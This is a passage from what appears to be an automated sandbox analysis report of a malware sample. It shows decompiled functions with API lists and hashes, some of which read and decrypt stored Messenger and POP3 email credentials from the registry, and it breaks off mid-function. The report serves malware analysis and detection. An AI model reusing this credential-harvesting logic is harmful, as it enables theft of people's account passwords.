                                                                                                              • Instruction ID: c94fb6c7bd1247ab7199cb5b48e8c216c8115a4167fd8e2fb1b5c3c0fa66e4da
                                                                                                              • Opcode Fuzzy Hash: 5187f8535ecd07f80173756fca004a5de43faed2157158ac4ad04829d081b859
                                                                                                              • Instruction Fuzzy Hash: 7021F97554C20879E720A3635C82FEA77DC9F55348F5008AFF6CAA10C1EABC96D5862A
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00405BE4 Relevance: 15.1, APIs: 10, Instructions: 63windowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 67%
                                                                                                              			E00405BE4(void* __ebx, intOrPtr* __ecx, void* __edx, void* __edi) {
				void* __esi;
				intOrPtr* _t27;
				void* _t30;
				struct HWND__* _t32;
				void* _t35;
				intOrPtr* _t36;

				_t30 = __edx;
				_t27 = __ecx;
				_push(__ebx);
				_push(__edi);
				_t32 =  *(__ecx + 4);
				_t35 = __ecx + 0xc;
				 *(_t35 + 0x10) = _t32;
				GetClientRect(_t32, _t35 + 0xa14);
				 *(_t35 + 0xa24) =  *(_t35 + 0xa24) & 0x00000000;
				GetWindow(GetWindow(_t32, 5), 0);
				do {
					__eax = E00401657(__edi, __esi);
					__edi = GetWindow(__edi, 2);
				} while (__edi != 0);
				__esi = GetDlgItem;
				__edi = 0x3ed;
				GetDlgItem( *(__ebx + 4), 0x3ed) = E0040F037(__eax);
				 *__esp = 0x3ee;
				GetDlgItem(??, ??) = E0040F037(__eax);
				 *__esp = 0x3ef;
				GetDlgItem( *(__ebx + 4),  *(__ebx + 4)) = E0040F037(__eax);
				 *__esp = 0x3f4;
				GetDlgItem( *(__ebx + 4), ??) = E0040F037(__eax);
				__eax =  *(__ebx + 4);
				GetDlgItem( *(__ebx + 4), 0x3ed) = SetFocus(__eax);
				_pop(__edi);
				_pop(__esi);
				__ecx = __ebx;
				_pop(__ebx);
				_t36 = _t27;
				 *((intOrPtr*)( *_t36 + 4))(1, _t35);
				 *((intOrPtr*)( *_t36 + 0x18))();
				E00406491(_t30,  *((intOrPtr*)(_t36 + 4)));
				return 0;
			}









                                                                                                              0x00405be4
                                                                                                              0x00405be4
                                                                                                              0x00405be4
                                                                                                              0x00405be9
                                                                                                              0x00405bea
                                                                                                              0x00405bed
                                                                                                              0x00405bf8
                                                                                                              0x00405bfb
                                                                                                              0x00405c07
                                                                                                              0x00405c16
                                                                                                              0x00405c1a
                                                                                                              0x00405c1a
                                                                                                              0x00405c24
                                                                                                              0x00405c26
                                                                                                              0x00405c2a
                                                                                                              0x00405c30
                                                                                                              0x00405c3c
                                                                                                              0x00405c41
                                                                                                              0x00405c4e
                                                                                                              0x00405c53
                                                                                                              0x00405c60
                                                                                                              0x00405c65
                                                                                                              0x00405c72
                                                                                                              0x00405c77
                                                                                                              0x00405c80
                                                                                                              0x00405c86
                                                                                                              0x00405c87
                                                                                                              0x00405c89
                                                                                                              0x00405c8b
                                                                                                              0x0040163a
                                                                                                              0x00401640
                                                                                                              0x00401647
                                                                                                              0x0040164d
                                                                                                              0x00401656

                                                                                                              APIs
                                                                                                              • GetClientRect.USER32 ref: 00405BFB
                                                                                                              • GetWindow.USER32(?,00000005), ref: 00405C13
                                                                                                              • GetWindow.USER32(00000000), ref: 00405C16
                                                                                                                • Part of subcall function 00401657: GetWindowRect.USER32 ref: 00401666
                                                                                                                • Part of subcall function 00401657: MapWindowPoints.USER32 ref: 00401681
                                                                                                              • GetWindow.USER32(00000000,00000002), ref: 00405C22
                                                                                                              • GetDlgItem.USER32(?,000003ED), ref: 00405C39
                                                                                                              • GetDlgItem.USER32(?,00000000), ref: 00405C4B
                                                                                                              • GetDlgItem.USER32(?,00000000), ref: 00405C5D
                                                                                                              • GetDlgItem.USER32(?,00000000), ref: 00405C6F
                                                                                                              • GetDlgItem.USER32(?,000003ED), ref: 00405C7D
                                                                                                              • SetFocus.USER32 ref: 00405C80
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: ItemWindow$Rect$ClientFocusPoints
                                                                                                              • String ID:
                                                                                                              • API String ID: 2187283481-0
                                                                                                              • Opcode ID: d2f13065a0daf7b94e2d6602c1ebad63a970ca7fe2c26cba6661fff7476f23c3
                                                                                                              • Instruction ID: 7666b00b3ddace13e8d54cd994e266c410995bf231072ec337e33f1596805ccb
                                                                                                              • Opcode Fuzzy Hash: d2f13065a0daf7b94e2d6602c1ebad63a970ca7fe2c26cba6661fff7476f23c3
                                                                                                              • Instruction Fuzzy Hash: 1A115471500304ABDB116F25CD49E6BBFADDF41758F05843AF544AB591CB79D8028A68
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00401A50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 195stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 92%
                                                                                                              			E00401A50(char* __edi, int __fp0) {
				void* _v8;
				intOrPtr _v12;
				void* _v16;
				void* _v20;
				int _v28;
				int _v36;
				void* _v40;
				void* _v44;
				void* _v48;
				void* _v52;
				void* _v56;
				void* _v60;
				char _v64;
				int _t79;
				intOrPtr _t80;
				int _t81;
				signed int _t94;
				int _t98;
				int _t100;
				void* _t104;
				void* _t106;
				intOrPtr _t115;
				char _t117;
				char* _t118;
				void* _t119;
				void* _t120;
				int _t122;
				signed int _t123;
				int* _t125;
				int _t159;
				int _t165;

				_t159 = __fp0;
				_t118 = __edi;
				_t125 = (_t123 & 0xfffffff8) - 0x40;
				_t79 = strlen(__edi);
				asm("fldz");
				_t104 = 0;
				_v28 = __fp0;
				_t120 = 0;
				_t106 = _t119;
				_v36 = _t79;
				_v56 = 0;
				_v52 = 0;
				_v48 = 0;
				_v44 = 0;
				_v60 = 0;
				_v40 = 0;
				_v12 = 0x20;
				_v20 = 0;
				_v8 = 0;
				_v16 = 0;
				if(_t79 > 0) {
					do {
						_t117 =  *((intOrPtr*)(_t120 + _t118));
						_v64 = _t117;
						if(_t117 - 0x41 <= 0x19) {
							_v56 = _v56 + 1;
						}
						if(_t117 - 0x61 <= 0x19) {
							_v52 = _v52 + 1;
						}
						if(_t117 - 0x30 <= 9) {
							_v48 = _v48 + 1;
						}
						if(_t117 - 0x20 <= 0xf) {
							_v44 = _v44 + 1;
						}
						if(_t117 - 0x3a <= 6) {
							_v60 = _v60 + 1;
						}
						if(_t117 - 0x5b <= 5) {
							_v60 = _v60 + 1;
						}
						if(_t117 < 0x7b) {
							L16:
							if(_t117 > 0x7e) {
								goto L17;
							}
						} else {
							if(_t117 > 0x7e) {
								L17:
								_v40 = _v40 + 1;
							} else {
								_v60 = _v60 + 1;
								goto L16;
							}
						}
						if(_t120 != _t104) {
							_t94 = 0;
							if(_v8 <= 0) {
								L27:
								_t94 = _t94 | 0xffffffff;
							} else {
								L21:
								L21:
								if(_t94 < 0 || _t94 >= _v8) {
									_t115 = 0;
								} else {
									_t115 =  *((intOrPtr*)(_v20 + _t94));
								}
								if(_t115 == _t117) {
									goto L28;
								}
								_t94 = _t94 + 1;
								if(_t94 < _v8) {
									goto L21;
								} else {
									goto L27;
								}
							}
							L28:
							_t104 = 0;
							if(_t94 < 0) {
								E004045E8( &_v20, _v64);
								_t98 = abs( *((char*)(_t120 + _t118)) -  *((char*)(_t120 + _t118 - 1)));
								_pop(_t106);
								if(_t98 != 1) {
									_t47 = _t98 - 2; // -2
									_t106 = _t47;
									if(_t106 > 3) {
										if(_t98 < 6) {
											if(_t98 > 0xa) {
												goto L40;
											}
										} else {
											if(_t98 > 0xa) {
												goto L40;
											} else {
												_t159 = _v28 +  *0x414510;
											}
											goto L41;
										}
									} else {
										_t159 = _v28 +  *0x414518;
										goto L41;
									}
								} else {
									_t165 = _v28;
									goto L30;
								}
							} else {
								_t100 = abs(_t117 -  *((char*)(_t120 + _t118 - 1)));
								_t165 = _v28;
								_pop(_t106);
								if(_t100 != 0) {
									_t159 = _t165 +  *0x414520;
								} else {
									L30:
									_t159 = _t165 +  *0x414528;
								}
								goto L41;
							}
						} else {
							E004045E8( &_v20, _v64);
							L40:
							_t159 = _v28 +  *0x414508;
							L41:
							_v28 = _t159;
						}
						_t120 = _t120 + 1;
					} while (_t120 < _v36);
				}
				_v64 = _t104;
				_t80 = 0x1a;
				if(_v56 != _t104) {
					_v64 = _t80;
				}
				if(_v52 != _t104) {
					_v64 = _v64 + _t80;
				}
				if(_v48 != _t104) {
					_v64 = _v64 + 0xa;
				}
				if(_v44 != _t104) {
					_v64 = _v64 + 0x10;
				}
				if(_v60 != _t104) {
					_v64 = _v64 + 0x11;
				}
				if(_v40 != _t104) {
					_v64 = _v64 + 0x1e;
				}
				if(_v64 <= _t104) {
					if(_v20 != _t104) {
						free(_v20);
					}
					_t81 = 0;
				} else {
					asm("fild dword [esp+0xc]");
					_push(_t106);
					_push(_t106);
					 *_t125 = _t159;
					L004115B8();
					_v36 = _t159;
					 *_t125 =  *0x414500;
					L004115B8();
					asm("fdivr qword [esp+0x30]");
					asm("fistp qword [esp+0x30]");
					_t122 = _v28;
					if(_v20 != _t104) {
						free(_v20);
					}
					_t81 = _t122;
				}
				return _t81;
			}


































                                                                                                              0x00401a50
                                                                                                              0x00401a50
                                                                                                              0x00401a56
                                                                                                              0x00401a5c
                                                                                                              0x00401a61
                                                                                                              0x00401a63
                                                                                                              0x00401a65
                                                                                                              0x00401a69
                                                                                                              0x00401a6d
                                                                                                              0x00401a6e
                                                                                                              0x00401a72
                                                                                                              0x00401a76
                                                                                                              0x00401a7a
                                                                                                              0x00401a7e
                                                                                                              0x00401a82
                                                                                                              0x00401a86
                                                                                                              0x00401a8a
                                                                                                              0x00401a92
                                                                                                              0x00401a96
                                                                                                              0x00401a9a
                                                                                                              0x00401a9e
                                                                                                              0x00401aa4
                                                                                                              0x00401aa4
                                                                                                              0x00401aad
                                                                                                              0x00401ab1
                                                                                                              0x00401ab3
                                                                                                              0x00401ab3
                                                                                                              0x00401abd
                                                                                                              0x00401abf
                                                                                                              0x00401abf
                                                                                                              0x00401ac9
                                                                                                              0x00401acb
                                                                                                              0x00401acb
                                                                                                              0x00401ad5
                                                                                                              0x00401ad7
                                                                                                              0x00401ad7
                                                                                                              0x00401ae1
                                                                                                              0x00401ae3
                                                                                                              0x00401ae3
                                                                                                              0x00401aed
                                                                                                              0x00401aef
                                                                                                              0x00401aef
                                                                                                              0x00401af6
                                                                                                              0x00401b01
                                                                                                              0x00401b04
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00401af8
                                                                                                              0x00401afb
                                                                                                              0x00401b06
                                                                                                              0x00401b06
                                                                                                              0x00401afd
                                                                                                              0x00401afd
                                                                                                              0x00000000
                                                                                                              0x00401afd
                                                                                                              0x00401afb
                                                                                                              0x00401b0c
                                                                                                              0x00401b20
                                                                                                              0x00401b26
                                                                                                              0x00401b48
                                                                                                              0x00401b48
                                                                                                              0x00401b28
                                                                                                              0x00000000
                                                                                                              0x00401b28
                                                                                                              0x00401b2a
                                                                                                              0x00401b3b
                                                                                                              0x00401b32
                                                                                                              0x00401b36
                                                                                                              0x00401b36
                                                                                                              0x00401b3f
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00401b41
                                                                                                              0x00401b46
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00401b46
                                                                                                              0x00401b4b
                                                                                                              0x00401b4b
                                                                                                              0x00401b4f
                                                                                                              0x00401b82
                                                                                                              0x00401b93
                                                                                                              0x00401b9b
                                                                                                              0x00401b9c
                                                                                                              0x00401ba4
                                                                                                              0x00401ba4
                                                                                                              0x00401baa
                                                                                                              0x00401bbb
                                                                                                              0x00401bd1
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x00401bbd
                                                                                                              0x00401bc0
                                                                                                              0x00000000
                                                                                                              0x00401bc2
                                                                                                              0x00401bc6
                                                                                                              0x00401bc6
                                                                                                              0x00000000
                                                                                                              0x00401bc0
                                                                                                              0x00401bac
                                                                                                              0x00401bb0
                                                                                                              0x00000000
                                                                                                              0x00401bb0
                                                                                                              0x00401b9e
                                                                                                              0x00401b9e
                                                                                                              0x00000000
                                                                                                              0x00401b9e
                                                                                                              0x00401b51
                                                                                                              0x00401b5c
                                                                                                              0x00401b63
                                                                                                              0x00401b67
                                                                                                              0x00401b68
                                                                                                              0x00401b72
                                                                                                              0x00401b6a
                                                                                                              0x00401b6a
                                                                                                              0x00401b6a
                                                                                                              0x00401b6a
                                                                                                              0x00000000
                                                                                                              0x00401b68
                                                                                                              0x00401b0e
                                                                                                              0x00401b16
                                                                                                              0x00401bd3
                                                                                                              0x00401bd7
                                                                                                              0x00401bdd
                                                                                                              0x00401bdd
                                                                                                              0x00401bdd
                                                                                                              0x00401be1
                                                                                                              0x00401be2
                                                                                                              0x00401aa4
                                                                                                              0x00401bf2
                                                                                                              0x00401bf6
                                                                                                              0x00401bf7
                                                                                                              0x00401bf9
                                                                                                              0x00401bf9
                                                                                                              0x00401c01
                                                                                                              0x00401c03
                                                                                                              0x00401c03
                                                                                                              0x00401c0b
                                                                                                              0x00401c0d
                                                                                                              0x00401c0d
                                                                                                              0x00401c16
                                                                                                              0x00401c18
                                                                                                              0x00401c18
                                                                                                              0x00401c21
                                                                                                              0x00401c23
                                                                                                              0x00401c23
                                                                                                              0x00401c2c
                                                                                                              0x00401c2e
                                                                                                              0x00401c2e
                                                                                                              0x00401c37
                                                                                                              0x00401c83
                                                                                                              0x00401c89
                                                                                                              0x00401c8e
                                                                                                              0x00401c8f
                                                                                                              0x00401c39
                                                                                                              0x00401c39
                                                                                                              0x00401c3d
                                                                                                              0x00401c3e
                                                                                                              0x00401c3f
                                                                                                              0x00401c42
                                                                                                              0x00401c47
                                                                                                              0x00401c51
                                                                                                              0x00401c54
                                                                                                              0x00401c5d
                                                                                                              0x00401c67
                                                                                                              0x00401c6b
                                                                                                              0x00401c6f
                                                                                                              0x00401c75
                                                                                                              0x00401c7a
                                                                                                              0x00401c7b
                                                                                                              0x00401c7b
                                                                                                              0x00401c96

                                                                                                              APIs
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: free$strlen
                                                                                                              • String ID:
                                                                                                              • API String ID: 667451143-3916222277
                                                                                                              • Opcode ID: 37bb09f8b96ce6c60aa0d5a3bd89c5871ef181f1a1b83bd216632f6d31a5aab6
                                                                                                              • Instruction ID: 06eee62d74eb4b55ebb23f84067d794473d6c8b6021198aa51b9bcc42ccbae70
                                                                                                              • Opcode Fuzzy Hash: 37bb09f8b96ce6c60aa0d5a3bd89c5871ef181f1a1b83bd216632f6d31a5aab6
                                                                                                              • Instruction Fuzzy Hash: DA6178704083859FDB249F26948046BBBF1FB85315F54997FF5D2A22A1E738E8468B0B
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040D4A6 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 94registryCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 100%
                                                                                                              			E0040D4A6(char* __ebx, void** _a4) {
				int _v8;
				int _v12;
				int _v16;
				void* _v20;
				int _v24;
				char* _v28;
				char _v32;
				char _v556;
				char _v557;
				char _v1578;
				void _v1580;
				void* __edi;
				void* __esi;
				long _t39;
				int _t43;
				char _t48;
				char* _t63;
				int* _t67;

				_t63 = __ebx;
				_t67 = 0;
				_v16 = 0;
				_v12 = 0x400;
				_t39 = RegQueryValueExA( *_a4, "Password.NET Messenger Service", 0, 0,  &_v1580,  &_v12);
				if(_t39 != 0) {
					L13:
					RegCloseKey( *_a4);
					return _v16;
				}
				_t43 = _t39 + 1;
				if(_v12 <= _t43) {
					goto L13;
				}
				_t74 = _v1580 - 0x20;
				_v8 = 0;
				if(_v1580 >= 0x20) {
					_v8 = _t43;
					L10:
					if(_v8 != _t67) {
						_v557 = 0;
						E00401380( &_v1580,  &(_t63[0x100]), 0xff);
						_v8 = 0xff;
						_t48 = RegQueryValueExA( *_a4, "User.NET Messenger Service", 0, 0, _t63,  &_v8);
						if(_t48 == 0) {
							_t63[0xfe] = _t48;
							_t63[0x1fe] = _t48;
							_v16 = 1;
						}
					}
					goto L13;
				}
				_t69 =  &_v556;
				E004046D7( &_v556);
				if(E004047A0(_t69, _t74) == 0) {
					L8:
					E004047F1( &_v556);
					_t67 = 0;
					goto L10;
				}
				_v32 = _v12 + 0xfffffffe;
				_v28 =  &_v1578;
				if(E00404811(_t69,  &_v32, 0,  &_v24) == 0) {
					goto L8;
				}
				if(_v24 < 0x400) {
					memcpy( &_v1580, _v20, _v24);
					_v8 = 1;
				}
				LocalFree(_v20);
				goto L8;
			}





















                                                                                                              0x0040d4a6
                                                                                                              0x0040d4bf
                                                                                                              0x0040d4cf
                                                                                                              0x0040d4d2
                                                                                                              0x0040d4d5
                                                                                                              0x0040d4dd
                                                                                                              0x0040d5c7
                                                                                                              0x0040d5cc
                                                                                                              0x0040d5d8
                                                                                                              0x0040d5d8
                                                                                                              0x0040d4e3
                                                                                                              0x0040d4e7
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040d4ed
                                                                                                              0x0040d4f4
                                                                                                              0x0040d4f7
                                                                                                              0x0040d56d
                                                                                                              0x0040d570
                                                                                                              0x0040d573
                                                                                                              0x0040d587
                                                                                                              0x0040d58e
                                                                                                              0x0040d5a7
                                                                                                              0x0040d5aa
                                                                                                              0x0040d5b2
                                                                                                              0x0040d5b4
                                                                                                              0x0040d5ba
                                                                                                              0x0040d5c0
                                                                                                              0x0040d5c0
                                                                                                              0x0040d5b2
                                                                                                              0x00000000
                                                                                                              0x0040d573
                                                                                                              0x0040d4f9
                                                                                                              0x0040d4ff
                                                                                                              0x0040d50b
                                                                                                              0x0040d55e
                                                                                                              0x0040d564
                                                                                                              0x0040d569
                                                                                                              0x00000000
                                                                                                              0x0040d569
                                                                                                              0x0040d513
                                                                                                              0x0040d51c
                                                                                                              0x0040d532
                                                                                                              0x00000000
                                                                                                              0x00000000
                                                                                                              0x0040d537
                                                                                                              0x0040d546
                                                                                                              0x0040d54e
                                                                                                              0x0040d54e
                                                                                                              0x0040d558
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                              • RegQueryValueExA.ADVAPI32 ref: 0040D4D5
                                                                                                              • RegQueryValueExA.ADVAPI32 ref: 0040D5AA
                                                                                                                • Part of subcall function 004046D7: strcpy.MSVCRT ref: 00404726
                                                                                                                • Part of subcall function 004047A0: LoadLibraryA.KERNEL32(?), ref: 004047A8
                                                                                                                • Part of subcall function 004047A0: GetProcAddress.KERNEL32(00000000,?), ref: 004047C0
                                                                                                              • memcpy.MSVCRT ref: 0040D546
                                                                                                              • LocalFree.KERNEL32(?,?,00000000,?), ref: 0040D558
                                                                                                              • RegCloseKey.ADVAPI32(?), ref: 0040D5CC
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: QueryValue$AddressCloseFreeLibraryLoadLocalProcmemcpystrcpy
                                                                                                              • String ID: $Password.NET Messenger Service$User.NET Messenger Service
                                                                                                              • API String ID: 3289975857-105384665
                                                                                                              • Opcode ID: d83e2ebe096d5bcd78dc6c5e473717e98c5fc49575dad68c24a229f0531786f0
                                                                                                              • Instruction ID: 7f1cec63b8765f81c3836bbc11e71f1516ceea0880c28a2d93855dc55ce36bd3
                                                                                                              • Opcode Fuzzy Hash: d83e2ebe096d5bcd78dc6c5e473717e98c5fc49575dad68c24a229f0531786f0
                                                                                                              • Instruction Fuzzy Hash: AE314DB1D01219AFDB11DF94CC44BDEBBB9AF48318F1040B6E905B7290D6789B94CF99
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040706C Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 90COMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 89%
                                                                                                              			E0040706C(void* __ecx, intOrPtr* _a4, intOrPtr _a8, char _a12) {
				char _v12;
				short* _v16;
				char _v20;
				char* _v24;
				char _v28;
				char _v288;
				char _v544;
				char _v800;
				char _v1056;
				char _v1584;
				void _v2607;
				char _v2608;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t36;
				void* _t63;
				char* _t66;
				void* _t68;

				_t63 = __ecx;
				_v2608 = 0;
				memset( &_v2607, 0, 0x3ff);
				_v12 = 0x400;
				_v1056 = 0;
				_v800 = 0;
				_v544 = 0;
				_v288 = 0;
				_t36 = E0040EBA3(_t63, _a8, "POP3_credentials",  &_v2608,  &_v12);
				_t72 = _t36;
				if(_t36 != 0) {
					return _t36;
				}
				_t67 =  &_v1584;
				E004046D7( &_v1584);
				if(E004047A0( &_v1584, _t72) != 0) {
					_v24 =  &_v2608;
					_v28 = _v12;
					_t16 =  &_v20; // 0x407221
					if(E00404811(_t67,  &_v28, 0, _t16) != 0) {
						_t19 =  &_v20; // 0x407221
						 *((char*)(_t68 + WideCharToMultiByte(0, 0, _v16,  *_t19 >> 1,  &_v544, 0xfd, 0, 0) - 0x21c)) = 0;
						LocalFree(_v16);
						E0040EB80(0xff, _t63, _a8, "POP3_name",  &_v800);
						E0040EB80(0xff, _t63, _a8, "POP3_host",  &_v288);
						_t28 =  &_a12; // 0x407221
						_t66 =  &_v1056;
						E004060D0(0xff, _t66,  *_t28);
						 *((intOrPtr*)( *_a4))(_t66);
					}
				}
				return E004047F1( &_v1584);
			}






















                                                                                                              0x0040706c
                                                                                                              0x00407087
                                                                                                              0x0040708d
                                                                                                              0x004070a5
                                                                                                              0x004070ac
                                                                                                              0x004070b2
                                                                                                              0x004070b8
                                                                                                              0x004070be
                                                                                                              0x004070c4
                                                                                                              0x004070cc
                                                                                                              0x004070ce
                                                                                                              0x00407199
                                                                                                              0x00407199
                                                                                                              0x004070d4
                                                                                                              0x004070da
                                                                                                              0x004070e6
                                                                                                              0x004070f2
                                                                                                              0x004070f8
                                                                                                              0x004070fb
                                                                                                              0x0040710d
                                                                                                              0x0040711d
                                                                                                              0x00407131
                                                                                                              0x00407138
                                                                                                              0x00407154
                                                                                                              0x0040716a
                                                                                                              0x0040716f
                                                                                                              0x00407172
                                                                                                              0x00407178
                                                                                                              0x00407188
                                                                                                              0x00407188
                                                                                                              0x0040710d
                                                                                                              0x00000000

                                                                                                              APIs
                                                                                                              • memset.MSVCRT ref: 0040708D
                                                                                                                • Part of subcall function 0040EBA3: RegQueryValueExA.ADVAPI32 ref: 0040EBB9
                                                                                                                • Part of subcall function 004046D7: strcpy.MSVCRT ref: 00404726
                                                                                                                • Part of subcall function 004047A0: LoadLibraryA.KERNEL32(?), ref: 004047A8
                                                                                                                • Part of subcall function 004047A0: GetProcAddress.KERNEL32(00000000,?), ref: 004047C0
                                                                                                              • WideCharToMultiByte.KERNEL32(00000000,00000000,?,!r@,?,000000FD,00000000,00000000,?,00000000,!r@,?,?,?,?,00000000), ref: 00407128
                                                                                                              • LocalFree.KERNEL32(?,?,?,?,?,00000000,751B45ED,?), ref: 00407138
                                                                                                                • Part of subcall function 0040EB80: RegQueryValueExA.KERNEL32 ref: 0040EB9B
                                                                                                                • Part of subcall function 004060D0: strlen.MSVCRT ref: 004060D5
                                                                                                                • Part of subcall function 004060D0: memcpy.MSVCRT ref: 004060EA
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: QueryValue$AddressByteCharFreeLibraryLoadLocalMultiProcWidememcpymemsetstrcpystrlen
                                                                                                              • String ID: !r@$!r@$POP3_credentials$POP3_host$POP3_name
                                                                                                              • API String ID: 604216836-250559020
                                                                                                              • Opcode ID: bdcdc46c55eb11d612c42672f504d565f83c89cdada948d76419e200b079d87c
                                                                                                              • Instruction ID: f8ca724a3b3a12fba31c48434a973b8369f3aae8d57bdfed2f45406e53e98f37
                                                                                                              • Opcode Fuzzy Hash: bdcdc46c55eb11d612c42672f504d565f83c89cdada948d76419e200b079d87c
                                                                                                              • Instruction Fuzzy Hash: C331707194021CAFDB11EB698C81ADE7BBCEF19344F0084B6FA05A2281D6389B598F65
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 00405E46 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52stringlibrarywindowCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 68%
                                                                                                              			E00405E46(long __edi, char* _a4) {
				char _v8;
				void* _t8;
				void* _t10;
				long _t14;
				long _t24;

				_t24 = __edi;
				_t1 = _t24 - 0x834; // -2100
				_t8 = 0;
				_t14 = 0x1100;
				if(_t1 <= 0x383) {
					_t8 = LoadLibraryExA("netmsg.dll", 0, 2);
					if(0 != 0) {
						_t14 = 0x1900;
					}
				}
				if(FormatMessageA(_t14, _t8, _t24, 0x400,  &_v8, 0, 0) <= 0) {
					_t10 = strcpy(_a4, "Unknown Error");
				} else {
					if(strlen(_v8) < 0x400) {
						strcpy(_a4, _v8);
					}
					_t10 = LocalFree(_v8);
				}
				return _t10;
			}








                                                                                                              0x00405e46
                                                                                                              0x00405e4c
                                                                                                              0x00405e54
                                                                                                              0x00405e5c
                                                                                                              0x00405e61
                                                                                                              0x00405e6b
                                                                                                              0x00405e73
                                                                                                              0x00405e75
                                                                                                              0x00405e75
                                                                                                              0x00405e73
                                                                                                              0x00405e91
                                                                                                              0x00405ec0
                                                                                                              0x00405e93
                                                                                                              0x00405e9e
                                                                                                              0x00405ea6
                                                                                                              0x00405eac
                                                                                                              0x00405eb0
                                                                                                              0x00405eb0
                                                                                                              0x00405eca

                                                                                                              APIs
                                                                                                              • LoadLibraryExA.KERNEL32(netmsg.dll,00000000,00000002,?,00000000,?,?,00405F65,?,?), ref: 00405E6B
                                                                                                              • FormatMessageA.KERNEL32(00001100,00000000,00000000,00000400,?,00000000,00000000,?,00000000,?,?,00405F65,?,?), ref: 00405E89
                                                                                                              • strlen.MSVCRT ref: 00405E96
                                                                                                              • strcpy.MSVCRT(?,?,?,?,00405F65,?,?), ref: 00405EA6
                                                                                                              • LocalFree.KERNEL32(?,?,?,00405F65,?,?), ref: 00405EB0
                                                                                                              • strcpy.MSVCRT(?,Unknown Error,?,?,00405F65,?,?), ref: 00405EC0
                                                                                                              Strings
                                                                                                              Memory Dump Source
                                                                                                              • Source File: 00000006.00000002.486330939.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                                              • Associated: 00000006.00000002.486428221.0000000000418000.00000040.00000400.00020000.00000000.sdmpDownload File
                                                                                                              Joe Sandbox IDA Plugin
                                                                                                              • Snapshot File: hcaresult_6_2_400000_vbc.jbxd
                                                                                                              Yara matches
                                                                                                              Similarity
                                                                                                              • API ID: strcpy$FormatFreeLibraryLoadLocalMessagestrlen
                                                                                                              • String ID: Unknown Error$netmsg.dll
                                                                                                              • API String ID: 3198317522-572158859
                                                                                                              • Opcode ID: be691a346cef5d5e24c515aac1ca35402bb88184c6041fe02f13b1b1e364655c
                                                                                                              • Instruction ID: 3a45a8761f4bc18c8cc8ce1e33cdf84813ecacbbbbff7bb38409c5e389e3efd7
                                                                                                              • Opcode Fuzzy Hash: be691a346cef5d5e24c515aac1ca35402bb88184c6041fe02f13b1b1e364655c
                                                                                                              • Instruction Fuzzy Hash: A901B131604118BAE7155B61ED46EDF7E6DDB14792B20443AF602F00A0DA785F409A98
                                                                                                              Uniqueness

                                                                                                              Uniqueness Score: -1.00%

                                                                                                              Function 0040314D Relevance: 13.6, APIs: 1, Strings: 8, Instructions: 100stringCOMMON
                                                                                                              Download Yara Rule
                                                                                                              C-Code - Quality: 67%
                                                                                                              			E0040314D(void* __eax, intOrPtr _a4, char* _a8) {
				signed int _v8;
				intOrPtr _v12;
				char _v188;
				char _v268;
				char _v524;
				void* __ebx;
				void* __edi;
				char* _t53;
				void* _t60;
				void* _t65;
				char* _t70;

				_v8 = _v8 & 0x00000000;
				_t65 = __eax;
				 *((intOrPtr*)(__eax + 0x8c)) = 3;
				 *((intOrPtr*)(__eax + 0x210)) = 1;
